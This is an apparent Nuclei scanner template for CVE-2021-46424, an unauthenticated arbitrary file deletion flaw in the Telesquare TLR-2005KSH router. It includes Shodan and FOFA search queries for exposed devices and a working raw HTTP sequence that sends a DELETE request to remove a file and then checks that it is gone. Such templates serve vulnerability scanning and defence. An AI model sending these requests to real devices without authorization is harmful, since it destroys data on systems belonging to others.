id: CVE-2021-46424

info:
  name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete
  author: gy741
  severity: critical
  description: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.
  impact: |
    Successful exploitation could lead to loss of critical data or system instability.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/2205-exploits/tlr2005ksh-filedelete.txt
    - https://drive.google.com/drive/folders/1_e3eJ8fzhCWnCkoRpbLoyQecuKkPR4OD?usp=sharing
    - http://packetstormsecurity.com/files/167127/TLR-2005KSH-Arbitrary-File-Delete.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46424
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-46424
    cwe-id: CWE-306
    epss-score: 0.91469
    epss-percentile: 0.99653
    cpe: cpe:2.3:o:telesquare:tlr-2005ksh_firmware:1.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: telesquare
    product: tlr-2005ksh_firmware
    shodan-query:
      - http.html:"TLR-2005KSH"
      - http.html:"tlr-2005ksh"
    fofa-query: body="tlr-2005ksh"
  tags: cve2021,cve,telesquare,intrusive,packetstorm

http:
  - raw:
      - |
        GET /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}
      - |
        DELETE /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404"
# digest: 490a0046304402201a98819703d9e47b7ae3a8b667f229a9381c9f34976d05c43a0e46eb8676599202204b3f05a53412bd8b1fbba0f29dd6543731f25756b265e432acf21d3425a3b8fb:922c64590222798bb761d5b6d8e72950